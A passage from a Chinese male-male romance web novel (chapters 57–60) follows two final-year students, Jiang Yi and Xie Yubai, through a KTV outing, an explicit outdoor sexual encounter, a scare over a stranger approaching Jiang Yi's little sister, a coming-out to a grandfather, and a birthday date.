到了KTV,班级很多人已经到了,定的是最大的包房,江逸选择一个角落坐下,耳边是震耳欲聋的音乐声,谈笑声,拼酒聊天声。 以前江逸也是这种场合的享受者,今晚却无法融入,他的头往后仰,偏着头看旁边坐着的男生。 谢逾白跟他坐的中间空了一个人的位置,他气质寡淡寂寥,不跟任何交谈,除了自己带来的矿泉水,不碰任何食物。他偶尔闭目养神,偶尔看手机,对周围的一切一副漠不关心的样子。 如果不是因为他,谢逾白从来不会来这种场合。 江逸没隐藏自己,来了的一个小时里,有半个小时都在看他,直到林飞羽戳他肩膀,“逸哥,女生给你点歌了,赏个脸。” 江逸翘着二郎腿,安逸地陷进沙发里,“今天没心情,不想唱。” “别呀,大家全盼着呢。我已经忍受白嵩他们鬼哭狼嚎一晚上了,我值得拥有你的歌声。” 江逸打算拒绝,一只修长好看的手拍了下他的腿,江逸被拍得抖了下,“你干嘛?” 谢逾白撩起眼皮看他,“去唱。” “为什么?” “别人听过,我没听过。”别人两个字被他咬得有点重,江逸秒懂,醋精又开始了。 没办法,哄着呗。 他们点的是粤语歌处处吻,这首歌跟月半小夜曲一样,江逸很拿手。他酷野的气质,漫不经心又吊儿郎当唱这首歌,显得他格外风流洒脱。 唱过很多次的歌词,今晚不知道怎么回事,每当他看向谢逾白的时候,就会卡词。连续两次漏词之后,江逸心里有点慌,控制自己不去看谢逾白,越控制越关注,整首歌唱得很不顺畅。 同学们倒是没发现,大家眼睛冒星星地看着江逸,被他的气质倾倒。 这个年纪,很多女生有慕强心理,别班女生喜欢学霸的多,十一班不同,江逸实在太有魅力了。 他的外貌万里挑一,直接出道秒杀很多娱乐圈小鲜肉。他的性格外刚内润,对待校霸混混打架稳准狠,对待班级女生该有的风度一点也不缺。 谁能拒绝长得帅气,又有人格魅力的人?江逸不需要任何修饰,不用穿任何奢侈品,单凭一张脸,就可以将人俘获。 秦悦是他的忠实爱慕者,他的家境有些差,父母年初闹离婚,她本来成绩很好,因为家里这些破事,成绩一落千丈。那时候的她万念俱灰,想死的心都有,甚至有一天,她跟着学生会的人,发现有一个人没锁天台门,她走了上去。 站在天台上,往下看去,一切那么渺小,她的理智跟崩溃在拉扯,那时,她看到了篮球场熟悉的身影,漂亮的三分球,豹子一般灵活的动作,飘扬的深栗色发丝,甩动的时候,发丝扬起悠扬的弧度。 江逸打篮球的时候特别有魅力,右手手腕处总是戴着黑色的护腕,左腿膝盖处也戴着同样的黑色护膝,他的身材偏瘦,笔直的长腿,很好辨认。 他一边在酒吧打工,一边打篮球,听说他有个小妹妹,放假了要照看。他的妈妈改嫁了,对他不闻不问,这样辛苦的他还在坚持,自己为什么不能坚持? 秦悦走下天台,走到篮球场,刚好江逸打完球,双手撑着膝盖,喘着气,少年的脸白里透红,是她看过最好看,最鲜活的一张脸。 其他队友看到她,调侃,“哪来的女生,等谁的?”他的语调有些轻浮。 江逸笑骂着回,“林律,你真够缺德的,球赛结束了,篮球场你家开的?估计来看篮球队,哪个傻逼把球传给了对方球员。” 秦悦不知道哪来的勇气,小声地说,“我是来看你的。” 周围几个大男生起哄,哦!又一个来表白的,江逸女生缘太好了。 秦悦不自在,她不是那个意思,直摆手,窘迫极了。 一个篮球瞬间砸向了那几个男生,他们立刻闭嘴,江逸投完篮球,警告他们,“留点口德,滚远点,我班同学找我有事。快给我同学道歉,再逼逼一句,打一下。” “对不起了啊,同学。”队友欠欠的道歉。 江逸抱着球,夕阳洒在他的身上,“你是学习委员吧?找我什么事?” 秦悦支支吾吾说不出来。 “我知道了,是不是任老师派你来的,我今天确实有两项作业没交,太困了,给你添麻烦了。我一会儿回去补,先交英语,英语好写点,数学不太会,宽限一下,明天交行不行?” 秦悦毫无预警地说:“你累吗?江逸,我很累。” 江逸单手托着球,十指转动着球,颀长的身姿,生机勃勃的侧脸,带着热气清润的声线,“人活着,哪有不累的?但你看,夕阳很美。” 那天的夕阳一千橘红,漂亮至极,正如江逸那么引人注目。 校花告白也被他拒绝了。秦悦很庆幸,她对江逸是类似于粉丝的心理,只希望他好,看着他就已经足够,正如现在江逸唱歌,歌声飞进了每一个人的心里。 一曲结束,林飞羽夸张地说,“逸哥这风骚的模样,不知道今晚多少女生要失眠了。” 江逸给他一脚,“滚远点,瞎说什么,唱错好几处,闹心。” “有吗?我们根本没听出来。不信你问陈最。” 江逸看向陈最,陈最笑了笑,“我不熟悉粤语,没听出来,还有,很多人光看你脸了,歌只是附属。” “对对对,而且我看到谢总用手机录屏了。” 江逸微愣地看向谢逾白,“你录像了?删了!刚刚没唱好。” 谢逾白双腿岔开,手自然地搭在沙发上,闻言一动不动,“不用删,留着回去帮你分析哪里唱错了,下次改进。” “我知道哪里唱错了。”江逸动手去掏他的兜,手刚碰到休闲裤的口袋,手指被捏住。 林飞羽等人的视线没看过来。 谢逾白薄唇微扬,眼皮半垂着看他,不咸不淡地说,“刚刚那么多女生爱慕地看你,我很不爽,想在这里抱你,你还敢往我跟前凑?” 第58章 江逸,你掉眼泪了。 江逸脸颊浮上红意, 警示性地斜他一眼。 谢逾白如夜般漆黑的眼瞳,紧紧扣住他的视线,“你跟我出去一趟还是在这?” 他如此直白明确的视线, 江逸明白,如果不跟他出去,这人什么事都做得出来。 谢逾白大部分时候是安静的,沉敛的,然而,不知何时会爆发的占有欲会让江逸瑟瑟发抖。 一开始, 他不适应, 逐渐适应这种随时爆发的边缘性性格,让江逸心尖颤抖。 两人走到走廊的一个拐角, 周围包房里的唱歌声隐隐约约透到耳朵里, 谢逾白一直沉着眉眼不说话。 江逸揉了揉额前的碎发, “你又怎么了?没什么人看我, 别人唱歌,他们也看, 你别发神经了。” 谢逾白面无表情, 膝盖往前一顶, 劲力不小,分开江逸的腿,压着他的膝盖,把人顶在了墙上,两人的距离很近。 谢逾白的上半身没靠过来。两条腿把他别得一动不能动,“江逸,你知道喜欢一个受欢迎的,又随时准备逃跑的人, 我的感受是什么?” 江逸神志已经下线,嘴巴动了动说,“很幸运?你能在我身边。” “答错了。”谢逾白的手捏住他的后颈,让他上半身也动不了了,“之前因为选学校和保送的事,你撂下狠话,要跟我玩完,现在呢?我们玩完了吗?” 江逸顿感一个头两个大,今晚他没想挑明这件事,确切地说,他一直不想挑明这件事,“就这样糊里糊涂的不好吗?你为什么要咄咄逼人?” “不行。” 江逸现在很难跟谢逾白拉开距离,即使是他再迟钝,想着逃避,也发现了谢逾白于他而言,分量越来越重。 谢逾白是个疯子,世俗的一切都可以不在乎。但江逸不同,他在乎。看着眼前男生冷峻清疏的模样,江逸心里的浪潮翻腾,一会儿想不顾一切扑进他怀里,一会儿想挣脱桎梏逃离。 多日以来的粉饰太平毫无作用。理智告诉他,不能因为一己私欲,让谢逾白不去最好的大学,做出如此牺牲,身体却渴望他的拥抱,期待他的陪伴。江逸沉浸在他黑沉沉毫无杂质的漆黑眼瞳里。 “我……”他呼吸发紧,刚要开口,身旁传来一个男声,“江逸,是你吗?” 江逸转头,走廊不远处站着两个人,正是不久前跟他吃饭的东大刘学长跟傅现。 “傅现,刘学长。” 江逸从谢逾白的禁锢中逃离出来,脸上挂上笑容,“好巧啊。” 刘学长狐疑地看着谢逾白,“你这有什么麻烦吗?” 江逸摇头,“没事。” “他是……”刘学长问。 傅现挑着眼神看过来。 谢逾白站着,看也不看他们一眼,自然下垂的手臂慢慢靠近,五指插进江逸的手指,紧紧环扣。 傅现眼神从江逸的脸滑向两人交握在一起的双手,轻哼了声。 江逸脑瓜仁嗡嗡的,谢逾白这只狗,握住他的力气大到出奇,根本甩不开。 刘学长看到两人互相牵着的手,眼神震惊。 江逸嗓音像裹了无数个小气泡,“他、他是我男朋友。” 刘学长顿了几秒,无所谓地笑笑,“原来是情趣,你没事就好,你男朋友很帅,期待你初试的好消息。” 傅现眼皮耷拉着,没说什么,没跟江逸打招呼就走了。 谢逾白反倒安静下来,手还紧紧攥着他。 “你还不松开?疼死了。” “你刚刚说我是你的谁?”谢逾白不仅没松手,手指捏他的力度更大了,指尖几乎要陷进江逸的掌心。 江逸脸色透着淡淡的薄红,“你没听到就算了。” “我听到了,江逸,只是不敢相信。”谢逾白大力拉扯着他的手,左转右转,走出后门口,找到了后院一处僻静无人处。 冬日的冷风肃穆,外面行人寥寥无几,这里是个死胡同,KTV能进入这里的门被谢逾白用随手捡起的木棍别住。 江逸看着他的操作,一愣一愣的,“谢逾白,你要干什么?” 谢逾白皱眉看着自己拿过木棍的手,从外套兜里抽出酒精湿巾,一根手指接着一根,慢条斯理地擦拭,“我接下来要做的事情可能有些疯狂。你会阻止我吗?如果让你不舒服了,记得推开我。” 江逸心中涌起一种强烈的不安,“你打算做什么?” 谢逾白微抬起下颚,病态地微笑了下,眼神黏连,“想哭吗?江逸,我帮你。” 墨蓝色的天空开始飘雪花,墙外很远处有一盏模糊的路灯,江逸看着谢逾白脱下长款外套,将外套搭在他的身前,欺身压住他。 “谢逾白,你知道现在外面零下多少度?你想玩我们回家行吗?这里随时可能会来人。” 谢逾白唇角轻挑,“站好了,别靠后面的墙,凉,一会儿站不住的话,往我身上靠。” 江逸还想说话,嘴唇第一时间被捂住,修长的手指分开他的唇瓣,谢逾白的食指探入他的口中,“舔湿我的手指,免得你一会儿怕干。” 指腹按住他的舌面,一下下按压他的舌头,手指拿出来时候,津液被带出一丝银线。 江逸唇角凉凉的,一粒雪花落在他脸上,“你、疯了?这是户外。” 谢逾白的手隐匿在大衣里面,捉住了他,语气强硬,“头靠过来,给我亲。” 江逸被制住了,胸膛贴着谢逾白的胸膛。 谢逾白静静地站在这雪幕之中,小小的飘雪落在谢逾白浓密的头发上,单薄的浅灰色毛衣与雪色相融。他的轮廓在雪的映衬下清俊幽远。 他的眼眸深邃如渊,深黑干净,有种遗世独立的高洁。 江逸像任人摆布的木偶,他的脸颊泛起红晕,肤色透着温热的色泽 。双眼熠熠生辉,眼中满溢着迷乱的情感,专注地望向谢逾白,仿佛世间万物都已不再重要。 他的嘴唇微微张开,呼出的气息在寒冷的空气中凝成白雾,他哆嗦着嘴唇靠近谢逾白,贴上他素白的薄唇,微凉的,疯狂的。 江逸的神经彻底被点燃了。 昏暗的巷子,飘雪的浪漫天空,谢逾白,这几样,像兴奋剂一样,让江逸上瘾。 他全身的血液快速运转,身体闷在大衣里面不仅丝毫不冷,甚至热意弥漫,憋出了一身的汗,神经下意识地绷紧,脑中快意一波接着一波,快要将他整个人淹没。 谢逾白的动作总能捕捉到他每一个需求,时而霸道掌控,时而温柔抚慰,他的牙齿啃咬着江逸的嘴唇,吮吸着他的舌尖,酥麻的疼痛占据着他的口腔,配合着身体的摇摆,江逸感觉自己也疯了,爽疯了。 江逸面色潮红,喘息着的气音说,“谢逾白,你大衣多少钱买的?” 谢逾白咬住他的下唇,往外扯了一下,“这时候你不专心,问这?” “是不是很贵?十几万?不能干洗。” “你不用管。”谢逾白深情吻他。 “不行。”江逸的脸被憋得发红,脊背抖动,眼神渴望又克制。 见他努力憋着的样子,谢逾白嗓音暗哑地说,“弄我衬衫里。”他调整身体姿势,掀开大衣一角。 江逸身体贴上他温热的皮肤,江逸脑子一白,眼前一道道炫目的白光,唾液濡湿了他的唇角,琥珀色的漂亮瞳孔迷乱水亮,两行清泪睡着眼角流淌。 “江逸,你掉眼泪了。”谢逾白薄唇贴着他绯红的眼尾,湿滑的舌头舔掉他的眼泪,甚至在他睫毛根处卷了一下,连眼尾没掉落的泪也卷走了。 谢逾白吻在他湿润的嘴角,他用纸巾擦拭一根根瘦长的手指。 江逸脸红心热,脑袋躺在他颈窝不敢动,不好意思看他,手指扒在他的肩膀处,指尖还红着。 谢逾白微微掀起自己的衬衫下摆,腹肌上黏腻潮湿,湿巾冰凉,擦过温热发红的皮肤,他语气缓缓,带着隐隐笑意,“你肾不错,出得挺多。” 江逸脸上红意蔓延,心里热意蒸腾,“闭嘴吧你。” 谢逾白看着他脖颈上的红意到现在还没消散,“有什么好害羞的?你弄到过我脸上,嘴里,对比之下,这次算什么?” “你别说了行吗?”江逸把脸埋进他侧颈,嘴唇感受他的皮肤温度,“谢逾白,你做饭不行,做这件事倒是在行,跟谁学的?” “自学的,这事比做饭简单,动作单一,有耐力多观察你的反应就可以。” 江逸胳膊怼他肩膀一下,“你跟我交流心得呢?” “我只是单纯回答你的问题,交流没用,你学不会。” 谢逾白用大衣把人包住,抱在怀里,抬高脚踢掉木棍,穿过一处长廊,拉开门,看到了他们停的车。他把江逸带回车里,放在副驾驶,系上安全带。 江逸感慨,谢逾白的平衡感真好,抱着120多斤的他,还能做这些动作。他怔怔地看着车,又看了看谢逾白薄薄的毛衫上面残存的雪粒,“你车这么近,刚才不能回车里?外面冷死了。” “户外感觉不一样,你很陶醉。”谢逾白手掌抚摸他绯红的脸,“你冷了吗?”他的手掌挪到江逸的后颈,皮肤温温的。 江逸缩了下肩膀,反手把他的手抽出来,“我还好,你不冷吗?穿这么少。” 谢逾白坐在驾驶位上,偏头看他,笑得清雅,“还有人冬泳,这点程度对我来说不算什么。” “跟我回家吗?谢逾白。”江逸把大衣往自己身上拽了拽,遮住口鼻,瓮声问,“回去我帮你。” 谢逾白胳膊伸过来,指腹擦了下他微润的眼尾,那里很快又泛起了红,他扯动嘴角,“谢谢邀请,今晚不太方便。” 江逸脑子一懵,“有什么不方便的?” 谢逾白漆眸沉沉,唇畔弧度清浅,“去你家,我怕会把持不住。” 第59章 “因为用心,我满心满脑…… “谢逾白, 你别这样,像我亏待你似的。”江逸忍着尴尬说。 “你乖乖回去睡个好觉,喝点姜汤。” 寒假开始, 江逸比想象中要忙碌很多,首先,知知的幼儿园放假了,二姨忽然忙了起来,每天不知所踪。二姨夫看店都忙不过了,江逸不仅要带知知, 每天有半天时间还要看店。 他还要每天安排至少六个小时的学习时间, 这是他高中的最后一个寒假了。他时常忙到看手机的时间也没有。 加上东大的自主招生考试就在这几天,他每隔一天要去练习基本的项目。江逸的体能基础很好, 但不能疏于练习, 一旦放松, 会有退步。 算起来, 他好久没时间见谢逾白了,半个多月了。今天, 他带着知知在公园玩, 手机响了。 谢逾白:【在哪?】 【跟知知在公园。】 【我去找你。】 【我可能没什么时间陪你, 再过40分钟就要去训练了。】 【我只是过去给你送练习册,最新出的,跟高考新题型很匹配,去年数学有两道大题几乎是原题。】 【我发你位置。】 知知扎了一个马尾辫,小姑娘又长大了不少,两只眼睛跟黑葡萄似的,小时候头发那么少,现在头发长了, 像个小公主。 她抱住江逸的腿,“哥哥,我想去玩滑梯。”她穿着蓝色的爱莎公主羽绒服。 江逸摸摸她的头,“会把衣服弄脏。” “哥哥,求你了,二姨不让我玩,总是怕我摔倒,你陪我玩好不好?”小姑娘声音娇娇的,江逸笑了笑,“去吧,记得排队。” 滑梯有多种攀爬方式,从四岁开始,知知开始尝试类似攀岩设计的上滑梯通道,江逸看着她,目不转睛,怕她摔倒。 玩了一会儿,江逸拿出纸巾递给她,“擦擦汗,你头上很多汗。”这么冷的天,出了汗容易感冒。 江逸余光看到谢逾白站在不远处,一只手拿着兔子气球,一只手拿着棉花糖,站在不远处,跟他遥遥相望。 他的眼神专注,沉静,仿佛不叫他过来,他会一直站在那里。 江逸对他招手,喊他:“谢逾白,我在这里!”他知道谢逾白看到他了,江逸热烈地跟他打招呼。 随着谢逾白的靠近,江逸心中好像有一颗小绿芽破土而出。 他身着笔挺的大衣,线条流畅,两条腿修长至极,比例堪称逆天,与高挑身材相得益彰,行走间自带一种卓绝的气场。 谢逾白的面孔令人过目难忘,干净出尘,他的一张脸跟世俗不沾边,尤其一双眼睛,漆黑如墨,浓烈似火,专注地看人,能让人深陷其中。 仅仅是对视,就能让江逸心脏跳动如擂鼓一般,手脚发热。 谢逾白走到他不远处站定,两人相顾无言,又忍不住互相打量。 江逸率先受不了了,“差不多了,你别看我了。” 谢逾白的目光仍停留在他身上,“好多天没见了。” “哪有,十几天而已。” 谢逾白给出答案:“十六天。” “你有病吧?记这么详细干什么?”江逸视线在一堆器材中寻找知知。他面色忽然变了,快速跑向小孩玩耍的区域。 知知三分钟前还在,现在人呢?江逸手脚发凉,牙齿咬住嘴唇,在广场,滑梯上到处找。 谢逾白觉察到他的不对劲,也跑过去帮他找。 江逸在公园的一个角落看到了一抹蓝色的身影,他的心脏突突跳动,跑了过去。 知知身前蹲了一个穿着黑色羽绒服,戴黑色帽子的人。 江逸大喊:“知知!别动!” “知知,到哥哥这里来!” 黑衣人见到江逸跑过来,闪了下身,快速离开,江逸攥住知知的肩膀,把她交到谢逾白手中,“看好她。” 谢逾白点头,江逸火箭似的窜出去,他跑了一段路,黑衣人不见了。江逸心事重重,后怕不已,幸亏今天带孩子的人是他,万一是二姨,根本追不上。 江逸看着知知被他的紧张吓得眼泪在眼眶里,他拉下脸,严肃地说,“知知,不能跟陌生人说话,不能靠近他,更不能要任何人给你的东西。除了家人以外。” 知知摸了摸眼泪,哭得伤心抽哒抽哒的。 “他是谁?他跟你说了什么?” 知知吸着鼻子,“他说带我去买好吃的,给我买漂亮的小裙子。” 江逸把她抱起来,“别哭了,你想吃什么以后跟哥哥说,我全给你买,陌生人给什么也不能要,知道了吗?” 知知哭得停不下来,谢逾白把小兔子气球递给她,嗓音不太自然,“给你的。” 知知抹着眼泪,“哥哥,这位漂亮哥哥给的东西可以要吗?” 江逸捏了下她的脸,“可以,知知把他当做家里人。” 谢逾白直直地注视着他,有些意外,耳根染上了淡淡的红色。 江逸把知知送回二姨家,说明了今天发生的事,叮嘱最近少带她出门。 江逸出了糖水店,谢逾白站在车边等他。 江逸上了车,去拉他的手,“你怎么不回车上等,很冷的。” 谢逾白反握住他的手,“你最近很累?你瘦了。”江逸的身材本就偏瘦,183的个子,才120多斤,最近训练多,体重降了些。 江逸展颜一笑,脱掉羽绒服,露出里面的运动服,白色短袖,他把袖子往上拉,“看我的肌肉,壮着呢,别担心。” 他的肩膀很薄,肩胛骨张开纹路清晰,这一瘦,让人心疼。 刚刚发生的一幕,同样让谢逾白心疼。他的心脏抽痛,眉心拧紧。 一路上,谢逾白内心煎熬,到了体育馆附近,江逸看了看表,“你开车很稳,提前十五分钟。” 谢逾白停好车,递过来一个纸袋子,江逸打开看,有两瓶矿泉水,两瓶红牛,两条黑巧,一袋三明治,一盒汉堡。 “你是哆啦A梦吗?哪来这么多好吃的?”江逸从小到大从来没有人对他这么细心过。 他眼神细细地看着谢逾白,以前认为这人高傲,不可一世,没想到他竟然如此细心。这种细节在两人交往这段时间不止一次发生。 每当江逸身体不舒服,谢逾白会第一时间买药送过来,他想要什么,一个眼神,谢逾白就会心领神会。 江逸心中暖暖的,把袋子放在旁边,拉住他的手,“你是我肚子里的蛔虫?怎么我想什么你全知道?”甚至比他想得还要周到。 谢逾白偏头看他,“你真想知道?” “嗯。” 谢逾白睫羽垂下,“因为用心,我满心满脑子都是你。” 江逸猝不及防地,被他的情话电了一下,谢逾白的语气平淡,不像别人说情话那么夸张,仿佛他只在陈述一个事实。 江逸脸红得发烫,心中涌动着热流,他搜肠刮肚,一句好话没想出来。 江逸坦率直白的眼神,始终落在谢逾白身上,红着脖子吞吞吐吐地问,“还有十分钟,接吻吗?好久没亲你了。” 我日,他说了什么鬼话?江逸额角直抽抽,快被自己蠢哭了。 谢逾白解开身上的安全带,大手按住他的后颈,把人往前拉,微凉的唇贴上江逸。 江逸瞬间感觉嘴唇发麻,脑子发晕。他现在怎么了?以前接吻没这么大反应,还没开始就这样了? 他的双唇紧闭,鼻息全是谢逾白冷冽的气息,他应该是洗了澡过来的,浓密的头发有淡淡的洗发水味道,一道微沉的声音在江逸耳廓响起,“半个月没亲,你不会了?” 江逸耳廓立刻红了,琥珀色的瞳孔有些茫然,又有些气急败坏。 谢逾白:“张嘴,让我进去。” 江逸彻底麻了,谢逾白现在怎么回事?“你这种话也说得出……” 湿润软滑的舌头带着淡淡的薄荷香气闯入江逸的口腔,贴上他的舌头,对比之下,他的舌头木木呆呆的,谢逾白扫过他的下唇,卷住他的舌尖轻轻吮着,一股电流通过神经迅速在江逸身体里乱窜。 仅仅接吻而已,江逸浑身热到了极致,眼神凌乱,呼吸更乱,谢逾白松开他一瞬,“换气,我堵了你的嘴,又没堵你的鼻子。” 江逸后颈被谢逾白稳稳托扶着,急促地大口喘息,双颊红得通透。 他望向神色镇定的谢逾白,谢逾白面色未改,呼吸却愈发灼热。江逸按捺不住,对着谢逾白光滑的侧颈咬了下去。 一层薄薄的皮肉,触感尽是清爽细腻,仿佛一缕微风轻拂心田,撩拨起心中那无处遁形、肆意蔓延的欲.念。 欲念如同一双无形的手,缓缓牵扯着江逸的每一寸感官。 江逸微微俯身,舔吻着谢逾白的皮肤,细腻的触感好似电流般迅速传遍全身。 谢逾白的耳根仿若被春色晕染,渐渐染上一层动人的红,喉间不由自主地传来阵阵克制的喘息,声音仿佛从灵魂深处溢出,破碎又迷人。 一声低唤 “江逸”,从他微微开启的唇间溢出,带着丝丝缕缕的缱绻与情动。 江逸松开嘴唇,转而覆上那被咬得发红的牙印,用唇瓣轻柔地摩挲、爱抚他的肌肤。 谢逾白被咬之处皮肤刺痛,江逸湿润的舌头舔过,起初那种酸酸疼疼的感觉,慢慢被一种撩拨心弦的痒意取代。这痒意直直往他身体深处钻去,点燃了他体内的燥。 江逸温热的吻落在谢逾白的耳骨上,呼出的热气顺着耳骨一寸寸蔓延开来,他轻声说:“谢逾白,我好喜欢你,该怎么办?” 谢逾白微扬起头,浓黑眼眸中,眸心陡然一颤,他嗓子沙涩,“究竟有多喜欢?” 江逸没预料到他会问这样的问题,微微一愣。他的手指划过谢逾白的侧脸,脸红到充血:“喜欢到……想跟你上.床。” 他说了个什么东西,江逸想死。 谢逾白拉住他抚摸自己的手指,眼神深深地看着他,嘴角弧度清淡,“我也是。” 第60章 我男朋友来接我了。 训练太忙, 二姨每天早出晚归,问她去哪了,总是支支吾吾, 躲躲闪闪的,江逸快怀疑她有外遇了。 最近训练的强度日益变大,他专门找了专业课老师来突击,该下的血本还是要下的。 他的忙碌导致他又半个月没见到男朋友了,马上就要过年了,大街上随处可见年味十足的对联, 年货。江逸训练开始前给林飞羽打电话, “你谈过恋爱对吧?” 林飞羽来了精神,“那是, 我就是那个平平无奇的恋爱小天才。” “我有个朋友, 他恋爱对象过生日, 想约会, 你有什么好建议吗?” “少来这套了,逸哥, 过了年你19了, 早满十八周岁了, 遮遮掩掩有意思?你对象生日,你想带她去约会,对不对?” 江逸轻咳两声,“差不多,你有什么好的建议?” “约会其实挺没劲的,就是吃饭看电影,不过跟谁,刚谈恋爱的时候, 正上头,干什么都有劲。你听我的,先去吃浪漫的晚餐,然后选一个难看一点的电影,记住一定要难看,在电影院就可以开始亲亲我我了,哈哈!” “你有点恶心。” “情侣之间不就这点情绪吗,我又不是没见过被啃破的嘴唇和脖子上的吻痕,你跟我装什么。” “挂了。”江逸光想一想就脑袋发热。 “等一下,最后一个忠告送给你,记得买计生用品。” “滚。”江逸挂了电话,脸也开始发烫。 本来简简单单跟谢逾白过一个生日,让林飞羽一说,乌七八糟的。江逸查了下高级餐厅,日式料理看着好难吃,法式看着也难吃,法式有小提琴演奏,就这家吧。 他预定了位置,给谢逾白打电话。 谢逾白接的很快,“江逸。” “哦,是这样,今天我训练下午四点半可以结束,五点我们在训练场见,你有时间吗?” 谢逾白身着一身燕尾服,带着温莎结,正从劳斯莱斯车上下来,对面一排人等着迎接他,他声音温和,“可以,我去接你。” 谢老爷子拄着拐棍走近他,身后的下人和保镖站得齐齐整整的,对着谢逾白鞠躬,“欢迎大少爷。” “爷爷。”谢逾白唤他。 “见你一面比登天还难,你这小子,怎么这么孤僻,性格秉性跟你那个混账爹一个德行。” 谢逾白面无表情,这种话爷爷经常说,他懒得计较。 谢老爷子拉着谢逾白的胳膊,带他走到老宅的院里,指着宽阔路上停着的卡宴,“逾白小子,这是送给你的20岁生日礼物。” 谢逾白眸光很淡,“爷爷,我不缺车。” “你小子,嘴真叼,什么也看不上,干脆送你点喜欢的,你爸爸那家律所,我当年入股百分之20%,你现在的股权有50%多,是吧,我把我的股份给你,这样你就可以完全控股,那天不高兴直接把你老子,从公司里踢出去。” 谢逾白:“现在就想踢出去。” “傻吧你,现在你没毕业,怎么也要你接手以后,现在把他踢出去,股价受影响。” “走,进门,大伯,三叔,他们全来了,大家就等着你来,切蛋糕。晚餐想吃什么?” 谢逾白直接回:“我一个小时以后有约了。” 谢老爷子惊讶地看他,这么多年,谢逾白的生日全是在老宅过的,怎么忽然有约了。他目光炯炯地看着自己的长孙,谢逾白这孩子从小老实持重,母亲过世那几年,低落疯狂过,智商在线,像他爸爸极度聪明。 谢老爷子精明得很,什么也瞒不过他,“你跟爷爷说实话,跟谁有约,是不是有女朋友了?” 谢逾白一个轻微摆手的动作,旁边的下人后退。 “你怎么神神秘秘的,别卖关子,快跟爷爷说。” 谢逾白两指扯了下温莎结,“爷爷,你今天降压药吃了吗?” “吃了。” “心脏怎么样?有不舒服吗?” “没什么问题。” “最近体检情况?” “医生让我注意清淡饮食,没什么事,你吓死爷爷了,有话快说。” 谢逾白表情认真,“爷爷,我约了人,是我的男朋友。” 男朋友?谢老爷子一时半会没反应过来,“现在管兄弟叫男朋友了?” “不是。”谢逾白语气稳重,耐心解释,“我喜欢的是同性,他就是个男生。” 谢老爷子霎时石化了,一时语塞,嘴唇哆嗦了两下,锐利的眼睛呆滞几秒,“你是说,你喜欢小伙子,不喜欢小姑娘?” “没错。” 老爷子拐杖用力点了几下地面,唉声叹气,“你妈妈走得突然,你心里有心结,爷爷不期待你将来那么顺利恋爱结婚,找个小伙子,只要你顺心,一起玩一玩,爷爷不反对你,走,进去吧,别让长辈久等。” “长辈们还要等一下。爷爷,有件事我要跟你说清楚,我跟他不是玩,我要跟他结婚,只要他愿意,大学一毕业我们就领证结婚。”谢逾白说得保守,如果江逸愿意,随时领证结婚他也没意见。 老爷子胡子被吹起来了,灰沉沉的眼睛精光乍现,他审视着谢逾白脸上肃穆的神情,最终锤了锤胸口,“孩子,终究是我们谢家对不起你和你妈妈,你以前的人生过得苦,爷爷老了,只要能看到你开心,你做什么决定爷爷都支持你。但答应爷爷一点,恋爱也好,结婚也好,不能走极端,不能做危害自己身体健康的事。” 四年前,谢逾白差点没活下来,谢家子嗣稀少,只有三个男孩,谢逾白稳重内敛,堪当重任,谢沉野是个爱玩爱闹的性子,再有一个,聊胜于无,是个私生子。 跟男人结婚还是跟女人结婚有什么问题,现在的年轻人,只要有个伴侣,让家人放心就可以。 谢老爷子一生沉沉浮浮,82岁高龄,这些事情早就看开了,人生其实很短,不怕离经叛道,怕的是踌躇不敢向前走。 下午茶和精致的茶点被端上来,谢沉野是个闲不住的性格,跑到谢逾白身边,“大哥,爷爷偏心你,我过生日收到的车只是你的一半价格。” 老爷子用拐杖隔空点他,“你个兔崽子,还好意思说,你大哥高考全市第一,你呢?去年高考,分数只有你哥的一半,好意思嫌弃我的礼物,我还嫌弃你的智商!一点也没遗传到我的优秀基因。” 谢沉野妈妈脸色一下变得青紫,垂下眼睛,谢沉野倒是一副没心没肺的样子,“爷爷,你怕什么,将来我们家有我大哥撑着,跟着他,这一辈子,吃香的喝辣的。” “你玩物丧志!” 谢沉野妈妈从怀里拿出一个平安符箓,递了过来,“爸,沉野这孩子小孩子心性,心地还是孝顺的,这是他昨天爬山给您和大哥求的平安顺遂符。请您收下。” 她把另外的符箓递给谢逾白,见对方迟迟没接过去,她心里打鼓。 谢逾白在整个家族的地位很高,毕竟是老爷子的长孙,平时性情很冷,好在谢沉野跟他的关系还可以,她递了个眼神。 谢沉野把平安福递过去,还有准备的一款手表作为礼物递给谢逾白。 谢逾白方才接过,看也没看,淡声说,“谢谢。” 他的确有矜傲的资本,不算他父母打下的基业,老爷子积累这么多年的财富,比他父母更胜一筹。 老爷子早年赶上经济变革浪潮,从倒卖稀缺电子零件开始,随后拓展业务,进军电子产品制造与销售,如今产业涵盖智能穿戴、数码配件及通信设备等领域,积累了巨额财富。 “大哥,我去的那座山可灵验了,我爬了三个多小时,大冬天的,爬山的人不少,挺多小情侣去许愿的。” 谢逾白端起茶盏,不动声色,“有那么灵验?” “据说山上有个五百年的老树,有灵性,很多情侣去许愿,可以愿望成真。” 这种浅薄的东西,谢逾白一向不信。 三伯母附和:“沉野去的是阳澜山,是不是?那里的确很神,前阵子你三伯父好端端的后背疼,入睡困难,我去给他求了平安福,过几天还真好了。” “我有一个侄女,跟他男朋友去年也去过,我有所耳闻,上个月刚结婚了。” 谢逾白淡淡地喝茶,手腕翻转,看了下腕表,“各位,我有约,先失陪了。” “大哥,你约了谁?”谢沉野跑出来,追着他问。 谢逾白脚步没停,上了卡宴。 谢沉野嘟囔了一句,“真牛,车立刻就换了。” 江逸靠在体育馆的门口,他应该是洗过澡了,头发微微湿润,因为天气寒冷,发丝上带着冰碴,他穿着比较随意,黑色中长款羽绒服,款式低调,搭配牛仔裤。 那张脸转过来的时候,让人惊叹的帅气,这张脸跟普通两个字不搭边,惊才绝艳的一张脸,一双眼睛独具灵韵,偏浅色调的瞳仁看人带电。 一个穿白色羽绒服的女孩背着羽毛球包,在朋友的陪同下,靠近江逸,“同学,你是一中的江逸吗?我见过你的照片。” 江逸站在马路边缘处,脚尖闲不住地踢着地面,对女生的搭话爱搭不理的,“是我。” “到饭点了,你对附近是不是不了解?我带你去找吃饭的地方,怎么样?”女生看他一个人,壮着胆子邀约。 江逸视线被从车上下来的男生吸引,谢逾白一身燕尾服,不知道从什么高端场合来的,他站在距离自己三米左右的位置,挑着眉梢,敛着唇角看过来,神情不爽的样子。 江逸对着谢逾白扬了扬下巴,示意两个女孩看过去,嗓音懒洋洋的,“我不是一个人,我男朋友来接我了。” 女孩夸张地捂住嘴,嘻嘻笑笑了几秒,“抱歉,打扰了。” “你说哪个帅?” “浅头发的帅。” “我觉得深头发的帅一些。” 